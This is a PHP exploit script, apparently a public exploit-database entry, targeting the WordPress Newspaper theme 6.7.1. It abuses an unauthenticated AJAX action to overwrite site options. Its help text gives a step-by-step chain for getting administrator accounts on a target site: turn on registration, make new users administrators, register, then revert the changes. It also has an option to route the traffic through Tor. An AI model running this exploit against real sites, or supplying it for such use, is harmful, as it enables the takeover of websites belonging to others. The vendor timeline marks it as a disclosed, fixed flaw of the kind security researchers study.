WordPress Theme Newspaper 6.7.1 - Privilege Escalation

<?php
/**
 * Exploit Title: Newspaper WP Theme Expoit
 * Google Dork:
 * Exploit Author: wp0Day.com <contact@wp0day.com>
 * Vendor Homepage: http://tagdiv.com/newspaper/
 * Software Link: http://themeforest.net/item/newspaper/5489609
 * Version: 6.7.1
 * Tested on: Debian 8, PHP 5.6.17-3
 * Type: WP Options Overwrite, Possible more
 * Time line: Found [23-APR-2016], Vendor notified [23-APR-2016], Vendor fixed: [27-APR-2016], [RD:1]
 */


require_once('curl.php');
//OR
//include('https://raw.githubusercontent.com/svyatov/CurlWrapper/master/CurlWrapper.php');
$curl = new CurlWrapper();


$options = getopt("t:m:u:p:f:c:",array('tor:'));
print_r($options);
$options = validateInput($options);

if (!$options){
    showHelp();
}

if ($options['tor'] === true)
{
    echo " ### USING TOR ###\n";
    echo "Setting TOR Proxy...\n";
    $curl->addOption(CURLOPT_PROXY,"http://127.0.0.1:9150/");
    $curl->addOption(CURLOPT_PROXYTYPE,7);
    echo "Checking IPv4 Address\n";
    $curl->get('https://dynamicdns.park-your-domain.com/getip');
    echo "Got IP : ".$curl->getResponse()."\n";
    echo "Are you sure you want to do this?\nType 'wololo' to continue: ";
    $answer = fgets(fopen ("php://stdin","r"));
    if(trim($answer) != 'wololo'){
        die("Aborting!\n");
    }
    echo "OK...\n";
}

function exploit(){
    global $curl, $options;
    switch ($options['m']){
        case "admin_on":
              echo "Setting default role to Administrator \n";
              $data = array('action'=>'td_ajax_update_panel', 'wp_option[default_role]'=>'administrator');
        break;
        case "admin_off":
              echo "Setting default role to Subscriber \n";
              $data = array('action'=>'td_ajax_update_panel', 'wp_option[default_role]'=>'subscriber');
        break;
        case "reg_on":
            echo "Enabling registrations\n";
            $data = array('action'=>'td_ajax_update_panel', 'wp_option[users_can_register]'=>'1');
        break;
        case "reg_on":
            echo "Disabling registrations\n";
            $data = array('action'=>'td_ajax_update_panel', 'wp_option[users_can_register]'=>'0');
        break;

    }

    $curl->post($options['t'].'/wp-admin/admin-ajax.php', $data);
    $resp = $curl->getResponse();
    echo "Response: ". $resp."\n";
}


exploit();



function validateInput($options){

    if ( !isset($options['t']) || !filter_var($options['t'], FILTER_VALIDATE_URL) ){
        return false;
    }

    if (!preg_match('~/$~',$options['t'])){
        $options['t'] = $options['t'].'/';
    }
    if (!isset($options['m']) || !in_array($options['m'], array('admin_on','reg_on','admin_off','reg_off') ) ){
        return false;
    }

    $options['tor'] = isset($options['tor']);

    return $options;
}


function showHelp(){
    global $argv;
    $help = <<<EOD

    Newspaper WP Theme Exploit

Usage: php $argv[0] -t [TARGET URL] --tor [USE TOR?] -m [MODE]

       [TARGET_URL] http://localhost/wordpress/
       [MODE] admin_on - Default admin level on reg. admin_off - Default subscriber on reg.
              reg_on - Turns on user registration. reg_off - Turns off user registrations.

       Trun on registrations, set default level to admin, register a user on the webiste,
       turn off admin mode, turn off user registrations.

Examples:
       php $argv[0] -t http://localhost/wordpress --tor=yes -m admin_on
       [Register a new user as Admin]
       php $argv[0] -t http://localhost/wordpress --tor=yes -m admin_off

    Misc:
           CURL Wrapper by Leonid Svyatov <leonid@svyatov.ru>
           @link http://github.com/svyatov/CurlWrapper
           @license http://www.opensource.org/licenses/mit-license.html MIT License

EOD;
    echo $help."\n\n";
    die();
}